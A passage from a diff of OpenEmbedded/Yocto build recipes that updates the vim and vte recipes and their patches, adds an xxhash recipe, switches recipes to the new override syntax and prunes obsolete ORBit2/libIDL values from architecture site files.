Signed-off-by: Joe Slater <joe.slater@windriver.com>
---- a/src/Makefile
-+++ b/src/Makefile
-@@ -2507,11 +2507,14 @@ installtools: $(TOOLS) $(DESTDIR)$(exec_
+Index: git/src/Makefile
+===================================================================
+--- git.orig/src/Makefile
++++ git/src/Makefile
+@@ -2565,11 +2565,14 @@ installtools: $(TOOLS) $(DESTDIR)$(exec_
rm -rf $$cvs; \
fi
-chmod $(FILEMOD) $(DEST_TOOLS)/*
diff --git a/meta/recipes-support/vim/files/racefix.patch b/meta/recipes-support/vim/files/racefix.patch
new file mode 100644
index 0000000000..1cb8fb442f
--- /dev/null
+++ b/meta/recipes-support/vim/files/racefix.patch
@@ -0,0 +1,33 @@
+The creation of the LINGUAS file is duplicated for each desktop file
+which can lead the commands to race against each other. Rework
+the makefile to avoid this as the expense of leaving the file on disk.
+
+Upstream-Status: Pending
+RP 2021/2/15
+
+Index: git/src/po/Makefile
+===================================================================
+--- git.orig/src/po/Makefile
++++ git/src/po/Makefile
+@@ -207,17 +207,16 @@ $(PACKAGE).pot: $(PO_INPUTLIST) $(PO_VIM
+ # Delete the temporary files
+ rm *.js
+
+-vim.desktop: vim.desktop.in $(POFILES)
++LINGUAS:
+ echo $(LANGUAGES) | tr " " "\n" |sed -e '/\./d' | sort > LINGUAS
++
++vim.desktop: vim.desktop.in $(POFILES) LINGUAS
+ $(MSGFMT) --desktop -d . --template vim.desktop.in -o tmp_vim.desktop
+- rm -f LINGUAS
+ if command -v desktop-file-validate; then desktop-file-validate tmp_vim.desktop; fi
+ mv tmp_vim.desktop vim.desktop
+
+-gvim.desktop: gvim.desktop.in $(POFILES)
+- echo $(LANGUAGES) | tr " " "\n" |sed -e '/\./d' | sort > LINGUAS
++gvim.desktop: gvim.desktop.in $(POFILES) LINGUAS
+ $(MSGFMT) --desktop -d . --template gvim.desktop.in -o tmp_gvim.desktop
+- rm -f LINGUAS
+ if command -v desktop-file-validate; then desktop-file-validate tmp_gvim.desktop; fi
+ mv tmp_gvim.desktop gvim.desktop
+
diff --git a/meta/recipes-support/vim/files/vim-add-knob-whether-elf.h-are-checked.patch b/meta/recipes-support/vim/files/vim-add-knob-whether-elf.h-are-checked.patch
index 37914d4cd9..5284ba45b6 100644
--- a/meta/recipes-support/vim/files/vim-add-knob-whether-elf.h-are-checked.patch
+++ b/meta/recipes-support/vim/files/vim-add-knob-whether-elf.h-are-checked.patch
@@ -14,11 +14,11 @@ Signed-off-by: Changqing Li <changqing.li@windriver.com>
src/configure.ac | 7 +++++++
1 file changed, 7 insertions(+)
-diff --git a/src/configure.ac b/src/configure.ac
-index 0ee86ad..64736f0 100644
---- a/src/configure.ac
-+++ b/src/configure.ac
-@@ -3192,11 +3192,18 @@ AC_TRY_COMPILE([#include <stdio.h>], [int x __attribute__((unused));],
+Index: git/src/configure.ac
+===================================================================
+--- git.orig/src/configure.ac
++++ git/src/configure.ac
+@@ -3264,11 +3264,18 @@ AC_TRY_COMPILE([#include <stdio.h>], [in
AC_MSG_RESULT(no))
dnl Checks for header files.
@@ -37,6 +37,3 @@ index 0ee86ad..64736f0 100644
AC_HEADER_DIRENT
---
-2.7.4
-
diff --git a/meta/recipes-support/vim/vim.inc b/meta/recipes-support/vim/vim.inc
index 4d2886c19e..34963054fd 100644
--- a/meta/recipes-support/vim/vim.inc
+++ b/meta/recipes-support/vim/vim.inc
@@ -1,23 +1,37 @@
SUMMARY = "Vi IMproved - enhanced vi editor"
+DESCRIPTION = "Vim is a greatly improved version of the good old UNIX editor Vi. Many new features have been added: multi-level undo, syntax highlighting, command line history, on-line help, spell checking, filename completion, block operations, script language, etc. There is also a Graphical User Interface (GUI) available."
SECTION = "console/utils"
+HOMEPAGE = "https://www.vim.org/"
+BUGTRACKER = "https://github.com/vim/vim/issues"
+
DEPENDS = "ncurses gettext-native"
# vimdiff doesn't like busybox diff
-RSUGGESTS_${PN} = "diffutils"
+RSUGGESTS:${PN} = "diffutils"
+
LICENSE = "vim"
-LIC_FILES_CHKSUM = "file://runtime/doc/uganda.txt;endline=287;md5=a19edd7ec70d573a005d9e509375a99a"
+LIC_FILES_CHKSUM = "file://runtime/doc/uganda.txt;endline=287;md5=909f1394892b7e0f9c2a95306c0c552b"
-SRC_URI = "git://github.com/vim/vim.git \
+SRC_URI = "git://github.com/vim/vim.git;branch=master;protocol=https \
file://disable_acl_header_check.patch \
file://vim-add-knob-whether-elf.h-are-checked.patch \
file://0001-src-Makefile-improve-reproducibility.patch \
file://no-path-adjust.patch \
-"
-SRCREV = "98056533b96b6b5d8849641de93185dd7bcadc44"
+ file://racefix.patch \
+ "
+
+PV .= ".3752"
+SRCREV = "8603be338ac810446f23c092f21bc6082f787519"
+
+# Remove when 8.3 is out
+UPSTREAM_VERSION_UNKNOWN = "1"
# Do not consider .z in x.y.z, as that is updated with every commit
UPSTREAM_CHECK_GITTAGREGEX = "(?P<pver>\d+\.\d+)\.0"
+# CVE-2021-3968 is related to an issue which was introduced after 8.2, this can be removed after 8.3.
+CVE_CHECK_WHITELIST += "CVE-2021-3968"
+
S = "${WORKDIR}/git"
VIMDIR = "vim${@d.getVar('PV').split('.')[0]}${@d.getVar('PV').split('.')[1]}"
@@ -49,11 +63,10 @@ do_compile() {
autotools_do_compile
}
-#Available PACKAGECONFIG options are gtkgui, acl, x11, tiny
-PACKAGECONFIG ??= ""
-PACKAGECONFIG += " \
+PACKAGECONFIG ??= "\
${@bb.utils.filter('DISTRO_FEATURES', 'acl selinux', d)} \
${@bb.utils.contains('DISTRO_FEATURES', 'x11', 'x11 gtkgui', '', d)} \
+ nls \
"
PACKAGECONFIG[gtkgui] = "--enable-gui=gtk3,--enable-gui=no,gtk+3"
@@ -62,14 +75,18 @@ PACKAGECONFIG[x11] = "--with-x,--without-x,xt,"
PACKAGECONFIG[tiny] = "--with-features=tiny,--with-features=big,,"
PACKAGECONFIG[selinux] = "--enable-selinux,--disable-selinux,libselinux,"
PACKAGECONFIG[elfutils] = "--enable-elf-check,,elfutils,"
+PACKAGECONFIG[nls] = "--enable-nls,--disable-nls,,"
+PACKAGECONFIG[sound] = "--enable-canberra,--disable-canberra,canberra,"
EXTRA_OECONF = " \
--disable-gpm \
--disable-gtktest \
--disable-xim \
--disable-netbeans \
+ --disable-desktop-database-update \
--with-tlib=ncurses \
ac_cv_small_wchar_t=no \
+ ac_cv_path_GLIB_COMPILE_RESOURCES=no \
vim_cv_getcwd_broken=no \
vim_cv_memmove_handles_overlap=yes \
vim_cv_stat_ignores_slash=no \
@@ -106,18 +123,18 @@ do_install() {
PARALLEL_MAKEINST = ""
PACKAGES =+ "${PN}-common ${PN}-syntax ${PN}-help ${PN}-tutor ${PN}-vimrc ${PN}-tools"
-FILES_${PN}-syntax = "${datadir}/${BPN}/${VIMDIR}/syntax"
-FILES_${PN}-help = "${datadir}/${BPN}/${VIMDIR}/doc"
-FILES_${PN}-tutor = "${datadir}/${BPN}/${VIMDIR}/tutor ${bindir}/${BPN}tutor"
-FILES_${PN}-vimrc = "${datadir}/${BPN}/vimrc"
-FILES_${PN}-data = "${datadir}/${BPN}"
+FILES:${PN}-syntax = "${datadir}/${BPN}/${VIMDIR}/syntax"
+FILES:${PN}-help = "${datadir}/${BPN}/${VIMDIR}/doc"
+FILES:${PN}-tutor = "${datadir}/${BPN}/${VIMDIR}/tutor ${bindir}/${BPN}tutor"
+FILES:${PN}-vimrc = "${datadir}/${BPN}/vimrc"
+FILES:${PN}-data = "${datadir}/${BPN}"
# We do not want to complain if perl or gawk are not on the target.
#
-FILES_${PN}-tools = "${datadir}/${BPN}/${VIMDIR}/tools"
-INSANE_SKIP_${PN}-tools = "file-rdeps"
+FILES:${PN}-tools = "${datadir}/${BPN}/${VIMDIR}/tools"
+INSANE_SKIP:${PN}-tools = "file-rdeps"
-FILES_${PN}-common = " \
+FILES:${PN}-common = " \
${datadir}/${BPN}/${VIMDIR}/*.vim \
${datadir}/${BPN}/${VIMDIR}/autoload \
${datadir}/${BPN}/${VIMDIR}/colors \
@@ -133,11 +150,7 @@ FILES_${PN}-common = " \
${datadir}/icons \
"
-RDEPENDS_${BPN} = "ncurses-terminfo-base"
-# Recommend that runtime data is installed along with vim
-RRECOMMENDS_${BPN} = "${PN}-syntax ${PN}-help ${PN}-tutor ${PN}-vimrc ${PN}-common"
-
-ALTERNATIVE_${PN} = "vi vim"
+ALTERNATIVE:${PN} = "vi vim"
ALTERNATIVE_PRIORITY = "100"
ALTERNATIVE_TARGET = "${bindir}/${BPN}.${BPN}"
ALTERNATIVE_LINK_NAME[vi] = "${base_bindir}/vi"
diff --git a/meta/recipes-support/vim/vim_8.2.bb b/meta/recipes-support/vim/vim_8.2.bb
index 7e4654e472..f358e61132 100644
--- a/meta/recipes-support/vim/vim_8.2.bb
+++ b/meta/recipes-support/vim/vim_8.2.bb
@@ -2,10 +2,14 @@ require vim.inc
PROVIDES = "xxd"
-PACKAGECONFIG_class-native = ""
+RDEPENDS:${PN} = "ncurses-terminfo-base"
+# Recommend that runtime data is installed along with vim
+RRECOMMENDS:${PN} = "${PN}-syntax ${PN}-help ${PN}-tutor ${PN}-vimrc ${PN}-common"
+
+PACKAGECONFIG:class-native = ""
BBCLASSEXTEND = "native nativesdk"
-ALTERNATIVE_${PN}_append = " xxd"
+ALTERNATIVE:${PN}:append = " xxd"
ALTERNATIVE_TARGET[xxd] = "${bindir}/xxd"
ALTERNATIVE_LINK_NAME[xxd] = "${bindir}/xxd"
diff --git a/meta/recipes-support/vte/vte/0001-Add-W_EXITCODE-macro-for-non-glibc-systems.patch b/meta/recipes-support/vte/vte/0001-Add-W_EXITCODE-macro-for-non-glibc-systems.patch
index a1d2e7ff27..b4100fc381 100644
--- a/meta/recipes-support/vte/vte/0001-Add-W_EXITCODE-macro-for-non-glibc-systems.patch
+++ b/meta/recipes-support/vte/vte/0001-Add-W_EXITCODE-macro-for-non-glibc-systems.patch
@@ -17,20 +17,19 @@ Signed-off-by: Andreas Müller <schnitzeltony@gmail.com>
src/widget.cc | 1 +
2 files changed, 5 insertions(+)
-diff --git a/src/missing.hh b/src/missing.hh
-index 0742270..30ede62 100644
--- a/src/missing.hh
+++ b/src/missing.hh
-@@ -33,3 +33,7 @@ int fdwalk(int (*cb)(void* data, int fd),
- char* strchrnul(char const* s,
- int c);
+@@ -24,6 +24,10 @@
+ #define NSIG (8 * sizeof(sigset_t))
#endif
-+
+
+#ifndef W_EXITCODE
+#define W_EXITCODE(ret, sig) ((ret) << 8 | (sig))
+#endif
-diff --git a/src/widget.cc b/src/widget.cc
-index 44a2271..0668735 100644
++
+ #ifndef HAVE_FDWALK
+ int fdwalk(int (*cb)(void* data, int fd),
+ void* data);
--- a/src/widget.cc
+++ b/src/widget.cc
@@ -21,6 +21,7 @@
diff --git a/meta/recipes-support/vte/vte/0001-Makefile.docs-correctly-substitute-gtkdoc-qemu-wrapp.patch b/meta/recipes-support/vte/vte/0001-Makefile.docs-correctly-substitute-gtkdoc-qemu-wrapp.patch
new file mode 100644
index 0000000000..c69a52e5d0
--- /dev/null
+++ b/meta/recipes-support/vte/vte/0001-Makefile.docs-correctly-substitute-gtkdoc-qemu-wrapp.patch
@@ -0,0 +1,24 @@
+From daa30d0039397a735d49ea535305ed0bc5f9d73b Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex@linutronix.de>
+Date: Tue, 26 Oct 2021 09:38:42 +0200
+Subject: [PATCH] Makefile.docs: correctly substitute gtkdoc qemu wrapper
+
+Upstream-Status: Inappropriate [oe-core specific]
+Signed-off-by: Alexander Kanavin <alex@linutronix.de>
+---
+ doc/reference/Makefile.docs | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/doc/reference/Makefile.docs b/doc/reference/Makefile.docs
+index b18f0a4..da18440 100644
+--- a/doc/reference/Makefile.docs
++++ b/doc/reference/Makefile.docs
+@@ -233,7 +233,7 @@ INSTALL_DATA = $(INSTALL) -m 644
+
+ GTKDOC_CC = $(CC) $(INCLUDES) $(GTKDOC_DEPS_CFLAGS) $(CPPFLAGS) $(CFLAGS)
+ GTKDOC_LD = $(CC) $(GTKDOC_DEPS_LIBS) $(CFLAGS) $(LDFLAGS)
+-GTKDOC_RUN =
++GTKDOC_RUN = $(top_builddir)/gtkdoc-qemuwrapper
+
+ GTKDOC_CHECK_PATH = gtkdoc-check
+ GTKDOC_REBASE = gtkdoc-rebase
diff --git a/meta/recipes-support/vte/vte_0.62.1.bb b/meta/recipes-support/vte/vte_0.62.1.bb
deleted file mode 100644
index 1a8e21dec4..0000000000
--- a/meta/recipes-support/vte/vte_0.62.1.bb
+++ /dev/null
@@ -1,57 +0,0 @@
-SUMMARY = "Virtual terminal emulator GTK+ widget library"
-BUGTRACKER = "https://bugzilla.gnome.org/buglist.cgi?product=vte"
-LICENSE = "GPLv3 & LGPLv3+ & LGPLv2.1+"
-LICENSE_libvte = "LGPLv3+"
-
-LIC_FILES_CHKSUM = " \
- file://COPYING.GPL3;md5=2f31b266d3440dd7ee50f92cf67d8e6c \
- file://COPYING.LGPL2;md5=4fbd65380cdd255951079008b364516c \
- file://COPYING.LGPL3;md5=b52f2d57d10c4f7ee67a7eb9615d5d24 \
-"
-
-DEPENDS = "glib-2.0 gtk+3 libpcre2 libxml2-native gperf-native icu"
-
-GNOMEBASEBUILDCLASS = "meson"
-GIR_MESON_OPTION = 'gir'
-
-inherit gnomebase gtk-doc features_check upstream-version-is-even gobject-introspection
-
-# vapigen.m4 is required when vala is not present (but the one from vala should be used normally)
-SRC_URI += "file://0001-Add-W_EXITCODE-macro-for-non-glibc-systems.patch"
-SRC_URI[archive.sha256sum] = "c369e87c0c8284e09109d0a9aac821f543558f51c0cb9c7acfff3df64153308d"
-
-ANY_OF_DISTRO_FEATURES = "${GTK3DISTROFEATURES}"
-
-# Instead of "inherit vala" we do the relevant settings here so we can
-# set DEPENDS based on PACKAGECONFIG.
-
-# Our patched version of Vala looks in STAGING_DATADIR for .vapi files
-export STAGING_DATADIR
-# Upstream Vala >= 0.11 looks in XDG_DATA_DIRS for .vapi files
-export XDG_DATA_DIRS = "${STAGING_DATADIR}"
-
-# Help g-ir-scanner find the .so for linking
-do_compile_prepend() {
- export GIR_EXTRA_LIBS_PATH="${B}/src/.libs"
-}
-
-# Package additional files
-FILES_${PN}-dev += "${datadir}/vala/vapi/*"
-
-PACKAGECONFIG ??= "gnutls"
-PACKAGECONFIG[vala] = "-Dvapi=true,-Dvapi=false,vala-native vala"
-PACKAGECONFIG[gnutls] = "-Dgnutls=true,-Dgnutls=false,gnutls"
-PACKAGECONFIG[systemd] = "-D_systemd=true,-D_systemd=false,systemd"
-# vala requires gir
-PACKAGECONFIG_remove_class-native = "vala"
-
-CFLAGS += "-D_GNU_SOURCE"
-
-PACKAGES =+ "libvte ${PN}-prompt"
-FILES_libvte = "${libdir}/*.so.* ${libdir}/girepository-1.0/*"
-FILES_${PN}-prompt = " \
- ${sysconfdir}/profile.d \
- ${libexecdir}/vte-urlencode-cwd \
-"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/vte/vte_0.66.2.bb b/meta/recipes-support/vte/vte_0.66.2.bb
new file mode 100644
index 0000000000..86674cc939
--- /dev/null
+++ b/meta/recipes-support/vte/vte_0.66.2.bb
@@ -0,0 +1,62 @@
+SUMMARY = "Virtual terminal emulator GTK+ widget library"
+DESCRIPTION = "VTE provides a virtual terminal widget for GTK applications."
+HOMEPAGE = "https://wiki.gnome.org/Apps/Terminal/VTE"
+BUGTRACKER = "https://bugzilla.gnome.org/buglist.cgi?product=vte"
+LICENSE = "GPLv3 & LGPLv3+ & MIT-X"
+LICENSE:libvte = "LGPLv3+"
+
+LIC_FILES_CHKSUM = " \
+ file://COPYING.GPL3;md5=cc702cf3444d1f19680c794cc61948f9 \
+ file://COPYING.LGPL3;md5=b52f2d57d10c4f7ee67a7eb9615d5d24 \
+ file://COPYING.XTERM;md5=d7fc3a23c16c039afafe2e042030f057 \
+"
+
+DEPENDS = "glib-2.0 gtk+3 libpcre2 libxml2-native gperf-native icu"
+
+GNOMEBASEBUILDCLASS = "meson"
+GIR_MESON_OPTION = 'gir'
+
+inherit gnomebase gtk-doc features_check upstream-version-is-even gobject-introspection
+
+# vapigen.m4 is required when vala is not present (but the one from vala should be used normally)
+SRC_URI += "file://0001-Add-W_EXITCODE-macro-for-non-glibc-systems.patch \
+ file://0001-Makefile.docs-correctly-substitute-gtkdoc-qemu-wrapp.patch"
+SRC_URI[archive.sha256sum] = "e89974673a72a0a06edac6d17830b82bb124decf0cb3b52cebc92ec3ff04d976"
+
+ANY_OF_DISTRO_FEATURES = "${GTK3DISTROFEATURES}"
+
+# Instead of "inherit vala" we do the relevant settings here so we can
+# set DEPENDS based on PACKAGECONFIG.
+
+# Our patched version of Vala looks in STAGING_DATADIR for .vapi files
+export STAGING_DATADIR
+# Upstream Vala >= 0.11 looks in XDG_DATA_DIRS for .vapi files
+export XDG_DATA_DIRS = "${STAGING_DATADIR}"
+
+# Help g-ir-scanner find the .so for linking
+do_compile:prepend() {
+ export GIR_EXTRA_LIBS_PATH="${B}/src/.libs"
+}
+
+# Package additional files
+FILES:${PN}-dev += "${datadir}/vala/vapi/*"
+
+PACKAGECONFIG ??= "gnutls"
+PACKAGECONFIG[vala] = "-Dvapi=true,-Dvapi=false,vala-native vala"
+PACKAGECONFIG[gnutls] = "-Dgnutls=true,-Dgnutls=false,gnutls"
+PACKAGECONFIG[systemd] = "-D_systemd=true,-D_systemd=false,systemd"
+# vala requires gir
+PACKAGECONFIG:remove:class-native = "vala"
+
+CFLAGS += "-D_GNU_SOURCE"
+
+PACKAGES =+ "libvte ${PN}-prompt"
+FILES:libvte = "${libdir}/*.so.* ${libdir}/girepository-1.0/*"
+FILES:${PN}-prompt = " \
+ ${sysconfdir}/profile.d \
+ ${libexecdir}/vte-urlencode-cwd \
+"
+
+FILES:${PN}-dev += "${datadir}/glade/"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/xxhash/xxhash_0.8.1.bb b/meta/recipes-support/xxhash/xxhash_0.8.1.bb
new file mode 100644
index 0000000000..ec559a8759
--- /dev/null
+++ b/meta/recipes-support/xxhash/xxhash_0.8.1.bb
@@ -0,0 +1,25 @@
+SUMMARY = "Extremely fast non-cryptographic hash algorithm"
+DESCRIPTION = "xxHash is an extremely fast non-cryptographic hash algorithm, \
+working at speeds close to RAM limits."
+HOMEPAGE = "http://www.xxhash.com/"
+LICENSE = "BSD-2-Clause & GPL-2.0"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=cdfe7764d5685d8e08b3df302885d7f3 \
+ file://cli/COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
+ "
+
+SRC_URI = "git://github.com/Cyan4973/xxHash.git;branch=release;protocol=https"
+UPSTREAM_CHECK_GITTAGREGEX = "v(?P<pver>\d+(\.\d+)+)"
+
+SRCREV = "35b0373c697b5f160d3db26b1cbb45a0d5ba788c"
+
+S = "${WORKDIR}/git"
+
+do_compile () {
+ oe_runmake all
+}
+
+do_install () {
+ oe_runmake DESTDIR=${D} install
+}
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/site/arm-32 b/meta/site/arm-32
index 81fd8d3103..60ada2e974 100644
--- a/meta/site/arm-32
+++ b/meta/site/arm-32
@@ -22,20 +22,6 @@ ac_cv_alignof_unsigned_long=4
# jikes
ac_cv_sizeof_wchar_t=4
-# ORBit2
-ac_cv_alignof_CORBA_boolean=1
-ac_cv_alignof_CORBA_char=1
-ac_cv_alignof_CORBA_double=8
-ac_cv_alignof_CORBA_float=4
-ac_cv_alignof_CORBA_long=4
-ac_cv_alignof_CORBA_long_double=8
-ac_cv_alignof_CORBA_long_long=8
-ac_cv_alignof_CORBA_octet=1
-ac_cv_alignof_CORBA_pointer=4
-ac_cv_alignof_CORBA_short=2
-ac_cv_alignof_CORBA_struct=1
-ac_cv_alignof_CORBA_wchar=2
-
# at-spi2-core
ac_cv_alignof_char=1
ac_cv_alignof_dbind_pointer=4
diff --git a/meta/site/arm-64 b/meta/site/arm-64
index 90c09b2d54..40763fb059 100644
--- a/meta/site/arm-64
+++ b/meta/site/arm-64
@@ -22,20 +22,6 @@ ac_cv_alignof_guint32=4
ac_cv_alignof_guint64=8
ac_cv_alignof_unsigned_long=8
-# ORBit2 (should be in meta-gnome/site/arm-64)
-#ac_cv_alignof_CORBA_boolean=1
-#ac_cv_alignof_CORBA_char=1
-#ac_cv_alignof_CORBA_double=8
-#ac_cv_alignof_CORBA_float=4
-#ac_cv_alignof_CORBA_long=4
-#ac_cv_alignof_CORBA_long_double=8
-#ac_cv_alignof_CORBA_long_long=8
-#ac_cv_alignof_CORBA_octet=1
-#ac_cv_alignof_CORBA_pointer=4
-#ac_cv_alignof_CORBA_short=2
-#ac_cv_alignof_CORBA_struct=1
-#ac_cv_alignof_CORBA_wchar=2
-
# at-spi2-core
ac_cv_alignof_dbind_pointer=8
ac_cv_alignof_dbind_struct=1
diff --git a/meta/site/arm-common b/meta/site/arm-common
index 8c37f3fc24..4c25c82be9 100644
--- a/meta/site/arm-common
+++ b/meta/site/arm-common
@@ -73,9 +73,6 @@ lftp_cv_va_val_copy=${lftp_cv_va_val_copy=yes}
# libesmtp
acx_working_snprintf=${acx_working_snprintf=yes}
-# libidl
-libIDL_cv_long_long_format=${libIDL_cv_long_long_format=ll}
-
# libnet
ac_libnet_have_packet_socket=${ac_libnet_have_packet_socket=yes}
diff --git a/meta/site/common-linux b/meta/site/common-linux
index 1c1fdafbb0..8f23adeab4 100644
--- a/meta/site/common-linux
+++ b/meta/site/common-linux
@@ -1,6 +1,9 @@
# gettext - these add sleep delays otherwise
gl_cv_func_sleep_works=${gl_cv_func_sleep_works=yes}
gl_cv_header_working_fcntl_h=${gl_cv_header_working_fcntl_h=yes}
+# the euc-jp tests in iconv.m4 break elfutils and libunistring depending on the
+# host locales installed. Avoid this by skipping the tests, we're not on HP-UX!
+am_cv_func_iconv_works=${am_cv_func_iconv_works=yes}
# apr
ac_cv_file__dev_zero=${ac_cv_file__dev_zero=yes}
diff --git a/meta/site/common-musl b/meta/site/common-musl
index 44a7a1aea9..d990c4e072 100644
--- a/meta/site/common-musl
+++ b/meta/site/common-musl
@@ -23,7 +23,7 @@ ac_cv_func_snprintf_c99=${ac_cv_func_snprintf_c99=yes}
ac_cv_func_vsnprintf_c99=${ac_cv_func_vsnprintf_c99=yes}
glib_cv_compliant_posix_memalign=${glib_cv_compliant_posix_memalign=1}
glib_cv_long_long_format=${glib_cv_long_long_format=ll}
-glib_cv_have_qsort_r=${glib_cv_have_qsort_r=no}
+glib_cv_have_qsort_r=${glib_cv_have_qsort_r=yes}
#dbus-glib
ac_cv_have_abstract_sockets=${ac_cv_have_abstract_sockets=yes}
diff --git a/meta/site/ix86-common b/meta/site/ix86-common
index a2384372db..d98ae5265b 100644
--- a/meta/site/ix86-common
+++ b/meta/site/ix86-common
@@ -107,9 +107,6 @@ ac_cv_sizeof_wchar_t=4
ac_cv_need_trio=${ac_cv_need_trio=no}
lftp_cv_va_val_copy=${lftp_cv_va_val_copy=yes}
-# libidl
-libIDL_cv_long_long_format=${libIDL_cv_long_long_format=ll}
-
# libnet
ac_cv_lbl_unaligned_fail=${ac_cv_lbl_unaligned_fail=no}
ac_libnet_have_packet_socket=${ac_libnet_have_packet_socket=yes}
@@ -121,20 +118,6 @@ with_broken_putenv=${with_broken_putenv=no}
mysql_cv_func_atomic_sub=${mysql_cv_func_atomic_sub=yes}
mysql_cv_func_atomic_add=${mysql_cv_func_atomic_add=yes}
-# ORBit2
-ac_cv_alignof_CORBA_boolean=1
-ac_cv_alignof_CORBA_char=1
-ac_cv_alignof_CORBA_double=4
-ac_cv_alignof_CORBA_float=4
-ac_cv_alignof_CORBA_long=4
-ac_cv_alignof_CORBA_long_double=4
-ac_cv_alignof_CORBA_long_long=4
-ac_cv_alignof_CORBA_octet=1
-ac_cv_alignof_CORBA_pointer=4
-ac_cv_alignof_CORBA_short=2
-ac_cv_alignof_CORBA_struct=4
-ac_cv_alignof_CORBA_wchar=2
-
# php
ac_cv_pread=${ac_cv_pread=no}
ac_cv_pwrite=${ac_cv_pwrite=no}
diff --git a/meta/site/mips-common b/meta/site/mips-common
index 5858dfb15b..892817b108 100644
--- a/meta/site/mips-common
+++ b/meta/site/mips-common
@@ -15,20 +15,6 @@ screen_cv_sys_sockets_nofs=${screen_cv_sys_sockets_nofs=no}
screen_cv_sys_sockets_usable=${screen_cv_sys_sockets_usable=yes}
screen_cv_sys_terminfo_used=${screen_cv_sys_terminfo_used=yes}
-# ORBit2
-ac_cv_alignof_CORBA_octet=1
-ac_cv_alignof_CORBA_boolean=1
-ac_cv_alignof_CORBA_char=1
-ac_cv_alignof_CORBA_wchar=2
-ac_cv_alignof_CORBA_short=2
-ac_cv_alignof_CORBA_long=4
-ac_cv_alignof_CORBA_long_long=8
-ac_cv_alignof_CORBA_float=4
-ac_cv_alignof_CORBA_double=8
-ac_cv_alignof_CORBA_long_double=8
-ac_cv_alignof_CORBA_pointer=4
-ac_cv_alignof_CORBA_struct=1
-
# apache
ac_cv_sizeof_ssize_t=${ac_cv_sizeof_ssize_t=4}
diff --git a/meta/site/mips-linux b/meta/site/mips-linux
index 72a54f95e3..b2f15eee18 100644
--- a/meta/site/mips-linux
+++ b/meta/site/mips-linux
@@ -39,9 +39,6 @@ ac_cv_linux_vers=${ac_cv_linux_vers=2}
# startup-notification
lf_cv_sane_realloc=${lf_cv_sane_realloc=yes}
-# libidl
-libIDL_cv_long_long_format=${libIDL_cv_long_long_format=ll}
-
# ncftp
wi_cv_struct_timeval_tv_sec=${wi_cv_struct_timeval_tv_sec=long}
wi_cv_struct_timeval_tv_usec=${wi_cv_struct_timeval_tv_usec=long}
diff --git a/meta/site/mips64-linux b/meta/site/mips64-linux
index ed0fbbe653..e7c16405eb 100644
--- a/meta/site/mips64-linux
+++ b/meta/site/mips64-linux
@@ -43,9 +43,6 @@ ac_cv_linux_vers=${ac_cv_linux_vers=2}
# startup-notification
lf_cv_sane_realloc=${lf_cv_sane_realloc=yes}
-# libidl
-libIDL_cv_long_long_format=${libIDL_cv_long_long_format=ll}
-
# ncftp
wi_cv_struct_timeval_tv_sec=${wi_cv_struct_timeval_tv_sec=long}
wi_cv_struct_timeval_tv_usec=${wi_cv_struct_timeval_tv_usec=long}
diff --git a/meta/site/mips64el-linux b/meta/site/mips64el-linux
index 680171d5e3..406ffd66c5 100644
--- a/meta/site/mips64el-linux
+++ b/meta/site/mips64el-linux
@@ -43,9 +43,6 @@ ac_cv_linux_vers=${ac_cv_linux_vers=2}
# startup-notification
lf_cv_sane_realloc=${lf_cv_sane_realloc=yes}
-# libidl
-libIDL_cv_long_long_format=${libIDL_cv_long_long_format=ll}
-
# ncftp
wi_cv_struct_timeval_tv_sec=${wi_cv_struct_timeval_tv_sec=long}
wi_cv_struct_timeval_tv_usec=${wi_cv_struct_timeval_tv_usec=long}
diff --git a/meta/site/mipsel-linux b/meta/site/mipsel-linux
index 696b1beeb4..e9cf193cec 100644
--- a/meta/site/mipsel-linux
+++ b/meta/site/mipsel-linux
@@ -39,9 +39,6 @@ ac_cv_linux_vers=${ac_cv_linux_vers=2}
# startup-notification
lf_cv_sane_realloc=${lf_cv_sane_realloc=yes}
-# libidl
-libIDL_cv_long_long_format=${libIDL_cv_long_long_format=ll}
-
# ncftp
wi_cv_struct_timeval_tv_sec=${wi_cv_struct_timeval_tv_sec=long}
wi_cv_struct_timeval_tv_usec=${wi_cv_struct_timeval_tv_usec=long}
diff --git a/meta/site/mipsisa32r6-linux b/meta/site/mipsisa32r6-linux
index 72a54f95e3..b2f15eee18 100644
--- a/meta/site/mipsisa32r6-linux
+++ b/meta/site/mipsisa32r6-linux
@@ -39,9 +39,6 @@ ac_cv_linux_vers=${ac_cv_linux_vers=2}
# startup-notification
lf_cv_sane_realloc=${lf_cv_sane_realloc=yes}
-# libidl
-libIDL_cv_long_long_format=${libIDL_cv_long_long_format=ll}
-
# ncftp
wi_cv_struct_timeval_tv_sec=${wi_cv_struct_timeval_tv_sec=long}
wi_cv_struct_timeval_tv_usec=${wi_cv_struct_timeval_tv_usec=long}
diff --git a/meta/site/mipsisa32r6el-linux b/meta/site/mipsisa32r6el-linux
index 696b1beeb4..e9cf193cec 100644
--- a/meta/site/mipsisa32r6el-linux
+++ b/meta/site/mipsisa32r6el-linux
@@ -39,9 +39,6 @@ ac_cv_linux_vers=${ac_cv_linux_vers=2}
# startup-notification
lf_cv_sane_realloc=${lf_cv_sane_realloc=yes}
-# libidl
-libIDL_cv_long_long_format=${libIDL_cv_long_long_format=ll}
-
# ncftp
wi_cv_struct_timeval_tv_sec=${wi_cv_struct_timeval_tv_sec=long}
wi_cv_struct_timeval_tv_usec=${wi_cv_struct_timeval_tv_usec=long}
diff --git a/meta/site/mipsisa64r6-linux b/meta/site/mipsisa64r6-linux
index ed0fbbe653..e7c16405eb 100644
--- a/meta/site/mipsisa64r6-linux
+++ b/meta/site/mipsisa64r6-linux
@@ -43,9 +43,6 @@ ac_cv_linux_vers=${ac_cv_linux_vers=2}
# startup-notification
lf_cv_sane_realloc=${lf_cv_sane_realloc=yes}
-# libidl
-libIDL_cv_long_long_format=${libIDL_cv_long_long_format=ll}
-
# ncftp
wi_cv_struct_timeval_tv_sec=${wi_cv_struct_timeval_tv_sec=long}
wi_cv_struct_timeval_tv_usec=${wi_cv_struct_timeval_tv_usec=long}
diff --git a/meta/site/mipsisa64r6el-linux b/meta/site/mipsisa64r6el-linux
index 680171d5e3..406ffd66c5 100644
--- a/meta/site/mipsisa64r6el-linux
